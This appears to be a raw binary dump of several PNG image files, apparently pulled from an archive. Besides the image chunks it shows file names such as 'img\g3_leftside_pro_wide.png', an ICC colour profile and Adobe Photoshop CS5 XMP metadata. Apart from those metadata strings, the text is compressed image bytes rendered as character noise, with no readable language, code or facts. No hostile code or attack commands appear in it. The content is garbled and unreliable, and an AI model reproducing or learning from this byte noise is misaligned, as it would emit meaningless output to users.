=ӧ\xb

sO^"T/-	
L@`~jL}=Ib~>;K&&|1}1#ͮ2"f^85
Xd^o5
K}	bt3h|3toS@mZN1'uxK s@#ë7]Zxj+V?s/w/Ӽe#60,"EK!>|} mf:t*0-c-i1pLo3r-8
퇯^?Fgn:jo8$8_omЧ~Yg~쓟|W;lذC,՟g{o#Ih9x\)HAHfMS=~̬!~e{[\O.V7}k"c<6yVN4Urb`Z@]8xTͷz{字|蚫O~ϝr`fm_%H="@Y_iӯv''ukւ7k>rex_֮^aF =S_JK85PWv>PJrKGGFohkoEOʠ#&U7t^+qћ]__>z%?p	0:c[TIۯ;QeҞ.U )@!P@H7uSNY{Ԣ;͠MJcOí$DF{jU+=SZ2^W$3|yX,,b^Zs,=]U˒`WXyBghO~m	pez3#H
bhtճ%}=l\So.J$u>?Aw-N}O{fG.ٴi;v0S|R?Y+#VK,bnmc1۟͘YE^LˎvRMsU<mɲKR抗%v#zXykl3Ӄv`%rY"mTfቃ잸ٱwOMHaKxY_nɂKz.]7S}oAQ@JER7{mS"[K:YsؿG?~j&_ػm,8%t}.CdL=Nu*{o*m,5VJ7|g6G~˫-[n}۶=ݾWfő,l~e?V?@ElڥjL
Mc;
Cҵd?8k6.ca䃫zꧏYhFN\򓗾A
._	r 	[0ʔH̜/=ۊdh=EߥG"V)hqrhҥjnm.˖N	Y"/Z.Sp
ԭ/!@~"L1q`^7?-#}=(KG|@Zfި>*n`;d	}<D}hv]_<(!X侃W.'d_zO}rdZ)f˂*'?ƟM)Z.tvdjd;h˴<@6bH	>ΫE=zo4V^|0/)Ԥ
%cOf``dJܩ֥i$ľt%%?
B] 𛚎]::5}"j=JU<bVyF91L'+Yf`$故`Ǧ%}1@Fgb mRJS0g;p{3's3Hwt>],LGN?v/N(%C";kZH&>~C /1`poc߫N53h_*@KnLh.n_CY;651uTn=vAkEym0]
?g\U}у_yh)9parqMI7v~ 淐T2O)zn!/k}Ǟ<ՅK	Vʼ LJ&r2̃?yW2![ t 0JՋ烄no<4
%='}L%XS9'$@c}5D 2އ}PA-Ma=ֆUw~{j!hI[4w	~jAa^BE%6oD[(ZϜh̢AE	QOj+{DDb[TУ@
;_S'y?%@?|fo} 0Ľώl0þu+yŦ/]iC8xDF{[<^R!g
1-ilu`]fmO5>:U)LǸiFe!]wNz+V$wڲ}Ƕaf@
]}!8|k0]j=KEDrE>3PiKB~>~`/Яox(`Kt-74N}3и ݰ<…\~^@0^
jCTŨu!jߋVeood'K!?mIS̙=Jæ>xq', h\c9䧍>3?10ܐ>3:zqj;qLr>NܵwMtb
{]nǒ
 O%ן"D>tlRU'=6K>mis/-=E#ABˏ;'Phats
$h1nt]ڟ̥leqO_3YbL6i:

)d=48-ASJ0Z	iۍC@R1E>jE}dkoB!F$v|۬,qk>:4	Xy}]bokJpO8j~eE2,ԧnO#XaiVXWNV3Y|j~v:
+<qJ)]g0Q1`uq-#A`xMŬ^x4-qb*D~qd>&j[X)~!TAНEfV=h@0EӃ6ܭG?*'֡#&\^+^FhMc|ÀݱܩlQ"؃[kxaHxg)uهoݍ^t)8rC:K
_|˫+?|#;@,+.L2u;!~/={A{!7ҡ놑Ni|ۯP;;O]rXXqY|ˮ?MX{h#	SJO :xi9HX4@1paPesE̴.oY
ob
زk@ކ>na$.Zhf+u0wfe郲?,ƙSw$%M7	ݿ3Ǽm\RXWJV~@1`+`&?FW-5
E+X81yVM
.Cm+*A?wE w՛nݽ'^
/a*ȝ蘹c[/c

VIk,wx#D?d(6ξ;8?1/#˷6Kz̹?,.Nƕ߸fѻNqo|#lC@',̣Pn=c|1>.~1fʧ}5s}!
$k
f<G%}W鶩؍Hu se,gŊ:cUEl8mZw)V&UޱqH7ĝrkz}ę@},sc
O;Z%u3k|!1-ĠXqcpU<c<m5}"&JFQoRMU	o|`WIbPS3oc
q}(֒.8֬e
YCZ^tZr;ˤIQxb%N_n2*Q
Vt-35޽ɫbw.o(W;eEw=1<-1b1LN<%LU,▛T@*,:3akx|p#RCwԋI
h\1\qh;?G:i[/)~	,jkV[ܡmI>K:ctUjӤ
 S}_5Rs;:f}%9~,~:o wb\2TZӤ;Sk1W$,t:bdu%s`B|}˔t.Yѝf	GծXt].(f4bBqbt]:M]ړͽ#wy.ܥ%uꑬSɫ1ѽHVU6sՆ):Wr*9ӝ]p;ԅU@%%l:tt\uI,.ŢkA/_V{{׻aQIENDB`8img\g3_leftside_pro_wide.png>bPNG


IHDRHaztEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:F1B6BD40812F11E0BEB6F18B390D2A7B" xmpMM:DocumentID="xmp.did:F1B6BD41812F11E0BEB6F18B390D2A7B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F1B6BD3E812F11E0BEB6F18B390D2A7B" stRef:documentID="xmp.did:F1B6BD3F812F11E0BEB6F18B390D2A7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>MIDATx	xSeǛitaJ"̃EawxrGG<.;ܹ*zqG*8\	(,Z钦msrӯiڄ9)M<}NN99w$y8|:@uP@:P@u:uP@u:P@uP:P@u::@u/H|
Q@u:uP@u:P@uP$|Q@u:uP@u:P@uP:P@u:ꀳ/H|
Q@u:uPx@P@u::@uDuP:P@;:P@uP:78	uP@:P@u@Gh|B%c֨S4*WA1NI>8.%U6II4v(E-gz+6yStj: 斜>1I _6g=Wl^0:B%:H*zqg˞`b:}$6/#Ox<۲Ϣ7O7cH"Uidukxê8V)a\G%=.!᧊S57Y}%Ds*Kh
c,(/tB{U~NJMt%9>)`D6xO4er
md&F=%fC)-:_kWIqb")MJ8թ^ѧ\I:
`$usE}!?WJɝم
e.-tt+:tbnhFk7\8TSǯNXxՊwΩtyV^zpΧ>Ts^N+nu4}D%|Ez:"l\A#Acw2UNלJhNQH0
{n.>tj3$%VfpfF^NgQʟ;n%`I?^eLX?bB-nĵ'T)1։DUkMM~AX:;@"1i.;q
Mܦ]B>`T`'E+;F[Zࡵ~7o=Mԡ
N=g^@׸;=A*a\%7	))ش&$ЫʞK.v*(n{{hbczyP,eO 
|,M<I9)m\Eh؃etkŠz췍Fzvّ&L |΍α/k~,CQpGqk-=	5vgwgMGsǏ'RX&wJ5rW^uN/YɡNg#FM,	=":͇b9Up4n|Š=B&_a-7J2R5jL[uITN^awDvkL,p=]qGi<םOܾ	t0=Jwc}~e29^w].Fj1JEg?N^|˕~_bˁ:|L5WŔ3(D:=MV%hiVxk8s֡Μ{ItLW4^቞nATFw6-	*5|D :a8Gg:D<(w@Ĩ>up08CC<SsYV萹juP: HTߕc(*M	~a_ߣ<?aF,v~aV߾q݆ᆪ[3srNŧTWWOxQ4hdűgI*/^t_K{\iw|}>48d|$8NyCy'(ۻ'@>s=tL<euz.>W5V&JwάolzoWTZ'YY'_|Q]MM3f+;qRyXa\
A%@sKw@O):xV[˶`^mh7ee}15'>Od
NK @uM/z`rwSe%Wo:=e=Obzj/em[\*[ǟ4ade񴽻Kifaa!SWSͼ٥l7o*۽vW̃y5Pv+ʏ0oxu2V<CTV}֐W<-ik|1hb2-L8=rP̛7/_hܽfb쪹<̟߀Zu:6s/-·~5ڿ%Z=5V]C9v=\ז41zl٭
9K...}Gr+^@ιWOVuNbmG%H^~hySc#{Iҥ{#Gײ7GZ=xΡk\CƎ3[|uU6|.-[Qlv&77NP&'whIku
Sc!UH?n^0&7{`,)::b?Zk(ذEgfiYOK{׵tH)r5')YhKwu~Z={O5A䀒v?6LκM?.X|+,N(5f]tO	T%=NIeN?wkx^ײGE4u(a_OyeՉ
eVVNnp<:=Rwn[_K_xz`3}q9s_{EZ~ݷ#JCCj	[F]7u9Z{:mKMspw߻b?lW㿼Ϟ.^t%+[el'{P.l֑e3SM&<dno+?6;;;(~!~>bK/pYW:~toZ)SNbε&JK.6}ϙ,n?k6҂؉
8)'T0
)<늣GGͷ4vz:e:#vO,=o{wwAJV<ճZ-Q2
r[zM]z5ov6\JO"ޅBڽviN(zh
v4[`s:rNr:?Gc0T[WjU뷡[V4NfO܏F9s
ؚs^1w%gORꄓꖛxR#JBibJW{Iu"R?`s.O@<RK5ͺLHXm(p|Bs1r_}R@$(I_1sH:7UǑ
'nRC%vPuI	&#ދ_?U݅ya`ɜ?,sȓ6w8.kB	ܶxfvV{lߺdHɹp/V$Po(_myrt{ߚ+]~G:cLC}rQԒS
,ȪeNhhiLDNo+>tܒ*a-o8hoH'eo+=[/W~g% G߼VJ;k6ڣy$P'|[]X=[FW:a:Mg?S>659~UiFMU>w1t>
#e+ArywʦhEUqo5L|X+@v?:
'xjVA"s_%ϾJ[.<awmtψ^Z$Jók	6vE>I\[3ujng룽M"Ϥ<Í#-oKڣM+U.y:nLaV~ZhBNXsͰCMvZKWf+2;OefJ#n!G#M	RNUv?88CSx*&b}M'D*JEo.BJ
mDluCQ3 @u[WLr,[16w֐4%oSvغ
^'TmثX
g0o
b%N릐cC3AɅs
~6JIn#b4K?TS*tB!}as}t?Ԭ
8e:$o[i9y4:5Mwci桠Um=~T
kP׾9
}^ftӿwט,pmkw͟|t']%ڄzۯ	=7#u=KLOROU˭,b 
,6HŠ%CɛFHJ<e+Җ&˟kLCI9g!Gé7)0i՜[>J{j_n$XH]5]?{ט>Lm
qyAz[HoMᄼ!Է&-+-Z촺up:,cg}܏mY/9d{j\5zec\>Һ?L`D%7FQ}L[4.kf~:UW_c!<Bsbnj9۠YC:ʓʗ}rr4RpauSߧU{f~^DG_&JV*h}ҴC-PՕ^El9EPL;t:ugX:Bno9~9&RCwTsuyA}—原NCeܓK
2Fe@؉!QJKiLԇ)h('e}rݒ|8T㻖,0GCu^!K=L0"K*S|{~wAQ{sw;K-NAt$Ϥ:^\W`2&~4-8mR^G-I=|nh#|}oQ}~!t6
El=I.!pHKf+
9Rf_zna\**.uB_]n'O&h?x"׹-WDVQ%o$]>/'t{g97٢SqZ<:4Ę4jmްTIIY$dҙ&3F0[
M]!M'G\|rҝ#:}[GYfeQKK諜kԬ-o|{W.#T:7$QW19QZYYc}Lg ^QZYm~G1DZȫnM'IoLkfY˫"uY/bI򦭕}
.9J_/ʡFVK-]R']Vm1X3tO9haFi՜7I~ϖTgW
SP8`:xJŸBiW'LP@:P@u:uP@u:P@u@)CT0IENDB`,>img\gi_lmi_education_en_mac.pngbPNG


IHDRdiCCPICC ProfilexgPTϲlfYXrq9JIrYd(HPAPJ%*QDADޢ޷T_LޚnU]a3uvK@
h5 pW`5SSC_pjBpĔ!
L
4޿~s!GurǕ8baA`p޿d~1!xAgwu&2ov;dCp&D<*7("Ru
Q#=>7|B-?I:6/E/xvlKm}BtOC$%~-@l繃ʃUgwD260@-LN"A,Hi \WuPA+=!`-X؅ 
 *bx !HT -2l!
¡X(ʂ"6F)hZ6F
x`"0Y*Lfsya'aɰӰ
X66{>X8-.ÍpOx0</oYwA`CmEd!."!n!zc9:bIdB#e:H+'2GV![}	"rGѠQ(-DPP#yEцh't0:]AEߠ?c0f(Fcc00"	DĀą$$60<W,ˉǚ`=<ul7vIJ*Ej@NCOZGG:Mq8+\ .WM>,2*:^mɣȇȗ0<^oK"
EE>E%R҃2rrJʞ*%jFjyj[hb{44*44444oiѴʹ\m+ү2l>2R31:1022~ebe`cejeeF13[02W13o0hcYf%geuabma}͆bccKag:?"|H#/b-XYw+C߹x̹^s}/p?c³Kū[;+/o>@@A3T6BlBfBiBBN!E,, $/<(SDRWL(hhXXwq1qo/$$$6%%%K$'RRIRR_ŤJ0Xˢdeeeȉ-sɻȗʿRWPSxHh8RTJVUUUTTU=z4h*PUSMRWCe
ԍϩOhih\ҘԬ\
jVN!1)ҙm7OoI@A!0552b71j21V714a36i252=kcf3b4.7-~Xj[YYiݬmmmVlll'U5;.;:e:r&8;p2vQy]oy`<<<v
^/[owٗ_qǏ3pL)}	=au14+'%4*t"L4,;]Fxy^mĝHȑ(̨w'NVEâ]bbbfbb/ݍgIPN(K88r7+15]^R]2yrpDLJQ^Kj__Zvڧt֌ČL̦,جlӺП?۹uR [Pq|B/d_vHBѵb/\.ŕ,}WfYwYry9<|¾bR*jߕ髆W;\\MQTƳfZ:ںA7oZ?ZPH٘޸t]cD^K-[7os߾tNf+zuͷM]xAG]bgEޕٍN
][wy`Cc=ypHkXc'jOzFGzj<}8368?xxb6ϝ/|202ΫitLkeܳss*X[XX[Z~{L\]{++W]VW?8XHbIfl6vgy5kxc~7jWSgǾAXo,7c߼߼߼߼߼߼߼߼@kXNyyU
-&1
);;pbQFd!kpG3b2Cӣ1$YXRunlHq2*ڟƅ֒Έ^AQIYEU=+g qn^1>@$N	c[(RKiM3Щd̡QlU'5)b&FfVOqx3C>*hSc2ffo--
cllU8o:8e;pqt5qqP<#+ß124X8A*nudEtsL_쳸SD$dT4t̀g-ɭ:Wל^}~Ʌ/f.-m_ީ@TRUq]sͶگ&Һo>o҄o&
NTN]N{	/wG/@`֡'ңcO=za;Ϋj!sK9[VqFvگ%yj=;8@ I(u4=)!	rន!/'RSZSSpБ>3n2m2o|fƁDqA\[3<|GsBqaF%&1cq6$OK9Jwde\	z,YTꏞTUcP[SѸMӥ/g5xeXgkllatXYyվMm]#pZptiqV^x9:Xa	аuFO.FE1'ȝMNHIOJ+L/Ϩ˼u?{ gԙs7}B,9x.JDJ$.˔+UTZVy]uXB盈zF&ؖ[oRɶ;v$ݭ||o[Ǻ7Bn
R<|t1h\dY)*;9߱^tXj]}~tUCʺM矓|{#Wzot@Sbnq
)@]AaW'6Ǐ; {NވϦ4ޡC1$seWdz“kG("c"b;bg%$y%7ڥddd.{**+(E(+tMS5RW[PoЈעZԮ׉MWJo^lkSn/]60ܳn`ki'`g?p1yeڵۭOHre#> 94('8DLHth\XbxjDVs'/^+/K(;UXT\RZ}:LY\snyN
/^4,+ֺVT*W&uY\BRJUk'kR-qކfX-w
[;t
u_u{'o a@!aǶOG>#78lԋWBq3cs_b޶[Akon}AthC*Xs@9QƓH=z)Puzb[X><IpԀ^Xf (
C0V.,V	px)HE ɑv:GбEKM$&ŝ"ÐsM|TZW}*L 9V֏lIJkspl1"z':Ugw"Jlbp*ހdTtLlE\p%/e+ݣJju~
>M~-Aa
AǰfVV6:v	_]]u=
<|2}W/
d|+5SJNOH!dfV˩9Cy66w5>yŽREDKd/wUTrAuu؆&[5wL[o۵sO a{'{;=}^8Ь7K*FVlW,>>$Q<U[Og _sb@#$,@:BPta0X	N
׆+.)GPht3!	 Ya'II'qvE`r<^?Dq5D]Cs'M:z:1ǘ0׳ij}:r=ÑSõSɛ ` $$L`F<-V&))# m.c$'+,MV\DkhW004t123i4=e`jyܪz槝C3kۦgה7o_9r<HxعOQѤ1	?0&;8O6y´;E'WJ<J./WV^M_S[Z7u3ٲeve~zN{]3EOcxj21}T+ׂ7Kw=\Z\>AiUװo~0DN/oc`|@{2@GE1Aʐ+K&s	pwx	9qx&s8Pqk
Lfč%;N3Y9_HʡVޢue`df|ʜΪ~q=F|Hn']^>~~6zAZ!z0|ūJ]*;jbZ֚ZQ:z7
MRL͙SZh[[uXwrp
ܬ=q^~CB~goK
ˊGG`%OH_Z9Av9*G.\.4^jX6XU7\~Ǎz&WBVkv,vc~6eXc3Ϝ'^MmΞghԴ3z_2ccȦVv_JF3N}Gnڞ}C:kJ֤"76$>1{WM?3<{h0cS?h
?:~Ys?ca=<5{j |p{׈E@I!~#3FP_o0v5bw']/].!&&_
Z	pHYs IDATx}	`Ed&;QCK@EVuWA]sosTT/\]!Jp	I2J&!*^-ĕEӂ$A~ٌbƨ/	Ñtm4|Ct+.-&gjVk?9
g_Pkc(,He3Ѕ

.,:6-/N	3 :ತҕEUѕ}>BDeiEJPJU-YP$"Is(6@ bgYz(dHEJt@bH5$O('IM$_N|EQBAC^EI#8QOQ2_( |^S*>C"y%:<>bҳQP(619^H$՞qqBtQeKJ
IkjL/`
΁XC	V)dK+Ykhb)R
S@IG\c:!(\ya*af'dPXoC	qe-YM"DIx9Xy}JUpxJTpxQDK^{neEr1!MA(t2kTs )8}ynwBBB굚5nָ~HB<>L ]+|fjYtџQ¤``MX-"V's?z2t1"㫥LѠn:P|\#e.HA&Cs"P`^`pޥ8 /APQS

<X0yp~Éu2i~5[SCdqNL)2tէR(x{< T@%GcA`>?ZyDJ@J9Eg|e[k"wˮrYKSSRY
P(d
2сH)-/;pMc::ɬ([-g};Rk>QtO:qYrAVZ]d+8D#YbQ
R0:u%Z
&CdJBUM芉8bʂ_?ڰ򯥮ӂ!onN}F
a>IH<SN/T4è
w>ujp҄	~I^(dCkJ,r~[G#ZzӆMVc3/,XÚ]/IIN!pA|A:KbE?H:,=17F3`A"(*ٚQ&Wzk&%&C2`KN<ʑx]vwhվeRTT&LQT[2L=^zDレ	D9Bj&"TݾK|txSG<^On
!Kqoxp R1s}ba#&LD*h78jh.%ƏIE:8'TXz*7+.^!ץ$vîٸmSNYf81Bc8q|.(3Q:-4XtIB2~pԙVfkިYfLծQ/@)dHްNsc{۷`>za(r<" @7c/N~`D^ӺONO{CwV(`ҕ
"f>Q"6Ḥ?

rte)Rn8
e/okчFřn}ɣ>i.yA*?5TrCGyjM7u9B^x0??3RcA,,l֙ӟ/ݹwIUkM+!oZWyIzu3[4j~C?:mvt$Ȩ[;6}{I>"$pFAgL~n?"R4P{y~Q@Λ"<ȉ\ՠb(g
,
Ot4gDP'<gI銤
 Ws{w3漟^|*ݠ!+iikvY̾3:jkt(*28
+$yBr%
n`6a:+.mig~.K	Itld<[MwO~\جvS'!h`X%[vf2{K}rJ1rBFs7q;Z7mժIKl"59uޜtx7I
G&y&̘ɜlWVfoP™/{@z8V1Fu:M$+('%~<$"$6tNF\_ض08+-u9Ϝ?ţ:bӏ+KH̩[@~wu-}
<ƸHB$Zy\ŸmIr8PD["T*FA?	:ImM!'/zsȱ7	oFMJKFJ"RyasC$}~OVZ:g:C8Bsdg;tsZuk%רթQΖ.WhX;yP,|TM-3<s]>9BVp+uD4"H	+&l7eDߙ$&k';Ӫ7۸Gknגh4 'N\ׇ>x@cFk|]c7s^+'fu26hԸa#Y̢c"߶Šo kwjj y.l3(C<g%#WKNH5c?fu)am(H)	gѯ*z=3z*kXF픤yYbSyO64XX0/FC?
< y+oвYΝ:;߸Ϲ$Е
rdUcu%/I0rWuʓzaڔVu$e޶zi&4z5/9%=;*EJ#4z+T
|׻?5Ie5Yd
f8㧬d{AA>iv%j?ߠZ5k@0))TFbs@u6Ҥn>koϵ-WBc3M̆=V\֨Y#tJzZ[[>ו/
LmNTYA`\QT6ߨ(jTDV6)%h!LBd|
Y^N䕗L2SARo/o>n;`/_< >uk[xjkQaN>FceКimY䰦,nxيd۩ 
 EfH%*mޠυ UӖTK{?~W~:MpCˆ
!PQ]i/?>=ssX8§Й֝@޾j
9~0~ d֯[jizx`8(V׹bu!X}xHIb<5sOǟϥbAp@RE
jRՉt޶~ϝ$˳DEnJ)#4h:!!m&w\M h9EQ7zAEĉkըCQ379*j*ɒ'KC9=?'#.hW;njѨyML#\Х-uxkONOQυ)윭:]p$b^T07T
"Ms:>ukCZC
3jLw׼֠͝fPYP;{LHzA.tȏai2ߙb4r/NOG`]V<ԷC$kG.xI!ʠd*#>8W>oXmwiԬcaz7mMHKQ98C	B7^u)>S~?>_x5RF@EpH&{V+UOˬvg
'=%v=:Ɛ܉LxT٢<B|9oKܗ[w{|_M0!!'̙6# ^I!JvJ	$j[-x,4NӮ|OKfm̎Œ'NRd(߶!zzuQ>YU+!SO۾5ΨUܥ'=Z-5ёԴ~wT0<~ɏ<HVN1&xX&V-96M{xիSw>c{?.R.u-eʪނ]7f>s`4e<}%:q|!rUC,tP|.Qig	7Eؓ}6}?'$5lܮg~?3si)u"p8L-"D銫Rq9XBҪUk԰ӧuﯮG#55-5=Fz捚c*GBDrL.:{MN;@#!N'dX.
~b <ũ)PJTޠħ<w?aL#:u'&y5rx=\4ĂLǒHN)cuD9YAev].zk2Z~A`A_^C1%BucdR ΨcB5{heMx䕁hKT̻HLHtPU9\AEtiԁ'~ƭ

M$."R"ה3pڜ@-ߣt앖aSn(T""5jHC'z^p"%Βx=u",|e<˺EIKBxv&~峺`"UMm…%A]XhAtT$=o$jåSqo'ô:z=.,%O31y|E@GnH-:4B nfpKur.00Ѩ%[hHkpGe8.͠"8T)9+eDzBA@(Wf*y*]-]xw{;{Jm$	{RKY
uTa5&JKt*	 qmup('.c4Fd$eztU
DՒWPEe4B5Tl\Tl:.Ž_E$0@4PLK(Ɇn0#y&jҌ|YFbܢ7f"WjTBg#$0pDJD	ҙԑ@Yw4uG)Z`DPI!K790}E1p(Mt
G\$ӿJ&uVR8
+:Kju'%2,S%%BXd/):4 (JE1&
% "7/Tz3(A*S8F#)
ă8.JTzj$`O0q,NKű$zD)

%XU8'~S9&uC!HjΗ|!#D-A?x-dYԂd	%Q&e8[ѐ("#ImI(YT&Xu&2'&eYzɹ':x~=-RqXbZ9GY1"zAE-8
ɋ%=9	.@a70:S%0"Q\	2"eff^J48*Y+«1'sDD&	q&RTTgΪNL=FDR33, b&""i	N`)J_D!bc(/FfN-?#d\(Dlv+$@0S"TIyƗsVeeUSgaxPx<W03A"%M*|hX^lb+pz9A%h"h8<@,٬H[ƖB!R9¯WUsC
&C?%. !Ҝ4*- V"x5&::0hAXyH40
2y+E_UPslT#K+fQ<`е%cKn[sѫ<66,UKēQ!9$_vQ<FlN0S$-p7PL#G200^6{
 D[L/B
(F/0
;(=$&xx"PG)׸1gJt%8.)JJ1Y0c#dhp@h#{D3dǸ:.`NJkٵ8-Ʊ@Œ`milAm=|.
/bXD/g*%=~"i:s[ɩc!.u'h\VN6}r.l._y67x$qc'R-5t/cƲsD~S
zuQx'
QuD+VN
QL	L?GԲ;c%D=p ͯ[IQ$9A戂ug_n/ĺB_z\N@!1z\Gg-Zhθov`ͩt;?{E=KdCe~\Y1VHP%JI(Ba@~a?5X\Gtt\0(Sn"Z]Xc&H󻱽ݥ&+ƀr;֥	v	M37y=^-Luy9;-yV$b-7zu
H©#X"bg[oiӃ]B
LC jj5"iQŬ1&$D%F4Ü ɰGpԥj>̰YZC`?%1u>iIx1
4qv-z1x C4Wο٪YS:>AMj;ICGOIJMNJ}R~7# }tf}IK)kY,S4Εs'fkb2{Akyr^^YVPplS"aRҰ7燭umkkVpsr"lQJv6rfd,:C*BC;n{1%uC?P@1ZS#fN7gyig3fAe)5R]LgpMegͻQF\#GЌݞHy/fw?,L̹ٷ/]n^䵟`5]H̞͘;j/ްw/NqܧbJE4S=;עYyXv+ӞѴ_m&te62p^wf0]f}ATܚ'okWµ_;,k洏+(h?]Za(]TAua4Vx53(~!zd稵UA$Q+v<u< w$'g6HHB]..ʘtM+B:eYыw|ǹc,M:SZyi[ُUxǚ/1{Akhg,hughohMYUuhqoCIQ!4mٸ%=Q5'm[=_ӆ\DK~@GbЂo}Ww9bD?))
Iɀ9D2VA(FO*XuC
==1n`0yYˊJ4ۦ`.ԇ!?NKNO߬>"\<!GМy4}$!o\FmyK2v%X
6t4KS	Լ16 IDATam#}孵ۜpgPKouSg?ió{fz)4]j/iZ.(%:6fjc/]ȬQFy>
(lU6),`\x8MR|h6,&ޜƲI@Fc](yHG9!1L&pYҾʴ:Ϥ^e)۠~|ބeKX5{!F$94O	u%H}KdAvP
H-2/S9*L	۷Ėv[6}QpEw@ҡ-J.#F:GOB樝	D~~?1E4(hBѬt@)PhS1AQw ֒~ВYR({F:Z%#1TWP83Zv$tZ
Nڽm;E?s/rN3o‡zNYfdhCB@|zK7rxyrݘAmSiǜ΂};6m>_i};srvؾ_3eCP`Wfk[hz6O,{KKin~(@s#9eo؈#Kȣk_!&}c,+Es\˱*`1dx%yis5jݵMjA#=+j.NZo2Ij	{]4\ƾULs7hk=&Ka/hY)]᳗#N;7qhc=Ft'x^0faT
Ai~φS?{4,|W2='~e_]i\+}2YV,ך+_cInG)6Dz̑uM`G]dzof=)[5[<frV34PEBKUDq`8g#xJ^z.ڭӾkq4Gx+5&V!$k`bJ[g#%uZ}z<M"Lٝcyt;3e_W.ooﴥ#wyÃ+fu;T^26j8pƇ[N_,0:VʌTŵԶ9RR,URp6vUNV2d
?aM"ǔi>e 2[nԺp;wQk+*hs!PS@$+.؟*!Ɂ-T`e_xV8l)蒅:WV 
<N}5b\/)W>Md֬XF{yS(A*z.?%'jس8mqtYar9Wh	bđ_r3T.àB12yjE-L204q$&b'>Bw9/pıKw颥*s2v;?gx߶OTC#{<#c3FC	P[ȁu}~]D̙86@$\&5ԕh`nJP
1K`PSlŽ_նlg!JVՐZ
s%:G@'^	jc'-#\c+X-IW鈮!ƐA$JE H4$4@!H,>*g$i!,b1閡.!PLAdH2*MPX:2l}qK1*6XQ"iXˑ}9p$dz!^E"	CR *lbщ4ƬOd+$PXQzB-apBK		.g>Kq2@1zyiZ%
?ƒ1Ws$,&uD2GkAr*GHu^9)`.saȸLތ%FP(PTY$E<4"!_R @?dsJP`4\,OGHrƟYvfImĠTUmXb˔Vr,SjL(U&(Q%NA39$ZPd8X79~})H6m=D|ic:D"0MǦ&b@alf^-n4SEwu> 
h-"@r9ÐBs!Tܪ#b\A/xđp2XtF%ԥ`U
Qu6?=LOnRn?hs}g@eYE+ڱao_[hق[VTj}>flTи(ʜ`R|9-wSA 1x.$&叟Om#
	X<)"P2:d.)JLT[uu5>?fb#yV9ؒDحQ.woh3?3?Qh!^cM9~"~li]*9O.ppDxJ-hhi`Ho@$eRbDq^7)"3Lnˤ%21.M4	mn)9ssg;41xɄ9; ye\Lc,ₓAM#-geLX(
 31(KGrP;L`"VmާUwXi_[+fa,s
.҇<#1Fzz>AvK+) y:n Hy&o/a§}{u߰}bgs.Q.s)
{"(8QN/=:
I-vSYO
WubC'itʠ$=7F0DA"eXxm<<1c
6hyK,_3÷=0T./H_z]ܱ5oNv\m_~zSAw}CNκExdЄ]|e'-5S2ʠj|ٸWƷ״	ϼʫ/uud--4"kwȧa	"χ=}fzh!pB8WRbc'+"֯,rhVx"<OC؇op̴+c1TI2@ Dʡ
s8Z:i7so5f,!iP2|Ϧo0,:LF&e,=Nf"no;ŻX˻,#om_fѤ%V}jR?
kWoީ'V̆}Z7ڵ%¾&jlMhB"!3!EPr]V<y#҉Skf~iBa!O3, 'HCHCpR$/B"&#Dl7LwzYf2Ŋ{b*O)jQK
qZWȢ)_ǶrڄWmӲY6=iE0{b^ĺ`
xGw\*[4mra=!/2#@66udU\H3^5`3*\F)?
Kqwh~gHfHeBHtzã;]}ݣGz]f)Bs>z`ЄpK9^fOWӺ߸ESѮEO~ɒl@N$4K?dӛsD\'*R$H	G)E=-@! 9%@CiO;Gt)Uij0<h !z:H9PdVڒ
ignFȠ3*8 w}qTI`GlA3e;yroJDxIa~^nz))rJ-4<A	 LH~)O"U-NpDWQƉT&@n"UJ1E%r4,v!@-1ӂ/@[#!o)op!1W|+D$)Rəx=dzuyg6|›lUvz(etށmgiYZ>7_Z;}̬ӰMTQPn7NwIFi7ߺm?E3H%e|B}=KNG݌
.p"!,ha1yn׎Uf.RUb9ӛ,(1rE"4˔ET,J~	V+}#K&QQf|7;w.ܳE0[Q:`|Juau
~'G[/Jh1÷P9atj͋S9#,4p
SpD%ǴaSAqID>
CE(Tz3*5yg-!ZPxĈim.x 0NCz5	yI魅!xSD>86|zS~3+fnGP0%LY`^8).q~ *Y4[^>DLZjrCoL:
+=!@PvB:9-#*ӝ%hK9R4hPo++,=4!
^zdxa
b<]T}&eSTiԿ2øt1+,D^EJFVCtгH`0[lTCL2kLNp6bPb%9>y#{^y0HD8DQ/}zK4*MJ弢?\"Р//(ரO+-&"CPzg_E(`Su"U">
#@7p(4Gc/d}&Dqp*WStC?n[PѸ*ÊA_JpƭSg._=HU#	I
LHItn؝sl#uM\<a6b:*@
r f_Ӵ0/^Et%0-?ұbw$$UOYJwSTvGS'lDaQ+J`Py2UϺ}$
]`(/z\“1-@VEn
_o;'«H 1-.VTPl"4EvAEX-76Zz,Aɴ8	RJymĔ4$dJK5ۯ|gmO3xSYoy evI",#Nh6fU@l*1
QD30Ls%$K'NMjM3$r0iŘ1e  T%OҦV5un`Mj' ֍=Vx49Kb,/`^U)&.b6[h}'76!
 PH3-..>!/Vp+|G=19)(U(D$8m?dP?#
eд\lTn`mDv>%YJ
8sv	T1'괥hE)aMWö6xv3!4eBDj:i+R>nO)xN!(}AS3<@&攁0Zalyg	AԴF|Cg>.`'R#Nv\~b),Klu{cm퓧eDV<G8Tcz|Fox2T{}MX~nܟ-<T<b/'ON~!Exe}Ch	 ƮŚ`3&4}Uynρi1k۞y !-)7HShc.k7$Qz%Dz^xWΥ#LE8I/^uRv[J܄#2kd*8]4~l <ptb\LZZiv9߁=Xۏ%\ҢKC!U)Z_ߞ%9ǵ픥֜zbv/[Oi'^²?ؚ?x+=*鈳aw-xϛwc),aoM#2&_T?e{Wy[:kJBcwKv`_/yҕ
l~ggd\k7ākK|9ֻ덹Zϫ'u%Xjۯĺq{կLМ>gGȱ#@KeN
̞X$Izi"\lDf6PvOfPd"
